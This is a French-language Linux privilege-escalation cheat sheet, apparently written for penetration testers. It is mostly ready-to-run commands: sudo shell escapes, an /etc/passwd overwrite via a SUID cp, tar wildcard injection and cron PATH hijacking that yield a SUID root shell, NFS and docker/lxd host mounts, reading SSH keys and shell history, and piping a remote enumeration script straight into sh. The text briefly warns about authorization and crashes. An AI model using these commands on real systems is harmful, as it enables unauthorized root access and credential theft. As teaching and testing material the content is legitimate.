---
title: Linux privesc
description: "Énumérer, repérer les mauvaises configurations et élever ses privilèges sur Linux."
category: post
kind: technique
tags: [privesc, sudo, suid, cron, capabilities]
level: intermediate
updated: 2026-11-08
order: 3
aliases: ["linux privilege escalation", "linpeas"]
---

## Les cinq premières minutes

```bash
id
sudo -l
uname -a
cat /etc/os-release
hostname
```

```bash
# SUID / SGID
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# Capabilities
getcap -r / 2>/dev/null

# Cron et timers
cat /etc/crontab
ls -la /etc/cron.* /var/spool/cron/crontabs 2>/dev/null
systemctl list-timers --all
```

## Sudo

```bash
sudo -l
```

```bash
# Exemples GTFOBins
sudo vim -c ':!/bin/sh'
sudo find / -exec /bin/sh \; -quit
sudo awk 'BEGIN {system("/bin/sh")}'
sudo less /etc/hosts    # puis : !/bin/sh
sudo nmap --interactive  # anciennes versions : !sh
```

> [!TIP]
> [GTFOBins](https://gtfobins.github.io/) liste les binaires détournables. Vérifie la version installée : une entrée `sudo` n'est pas forcément exploitable si le binaire est patché.

## SUID et capabilities

```bash
# Chercher un binaire SUID connu
find / -perm -4000 -type f -exec ls -la {} \; 2>/dev/null

# Exemple : cp SUID → écraser /etc/passwd
cp /etc/passwd /tmp/passwd.bak
openssl passwd -1 -salt x NewPass123
# Ajouter une ligne root2:$1$x$HASH:0:0:root:/root:/bin/bash

# Capabilities intéressantes
getcap -r / 2>/dev/null | grep -E "cap_setuid|cap_net_raw|cap_dac_read_search"
```

## Cron et scripts

```bash
# Scripts modifiables exécutés par root
find / -writable -type f 2>/dev/null | grep -E "\.sh$|\.py$"

# Wildcard injection (tar, rsync, chown)
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /tmp/shell.sh
chmod +x /tmp/shell.sh
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh /tmp/shell.sh'
```

```bash
# PATH hijack dans un cron
echo '/bin/sh' > /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
```

## Réseau et groupes

```bash
# NFS sans root_squash
showmount -e 10.10.10.10
# Monter et créer un binaire SUID root
mount -t nfs 10.10.10.10:/export /mnt
cp /bin/bash /mnt/bash && chmod +s /mnt/bash

# Groupes dangereux
id | grep -E "docker|lxd|disk|adm|sudo"
```

```bash
# Docker : monter l'hôte
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

# LXD : conteneur privilégié
lxc image import alpine.tar.gz --alias alpine
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc && lxc exec privesc -- /bin/sh
```

## Credentials et kernel

```bash
# Historiques et fichiers sensibles
grep -riE "password|passwd|secret|token" /home /var/www /opt 2>/dev/null | head -50
cat ~/.bash_history ~/.ssh/id_rsa 2>/dev/null
find / -name "*.kdbx" -o -name "id_rsa" 2>/dev/null

# Exploits kernel (après avoir identifié la version)
uname -a
searchsploit linux kernel $(uname -r)
```

```bash
# Script d'énumération complet
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
./linpeas.sh -a
```

> [!WARNING]
> Les exploits kernel peuvent crasher la machine. Sur un serveur de production, privilégie les mauvaises configurations (sudo, SUID, cron) et documente l'impact. Ne lance jamais linpeas sur un système sans autorisation : il génère beaucoup de lecture disque et de logs.
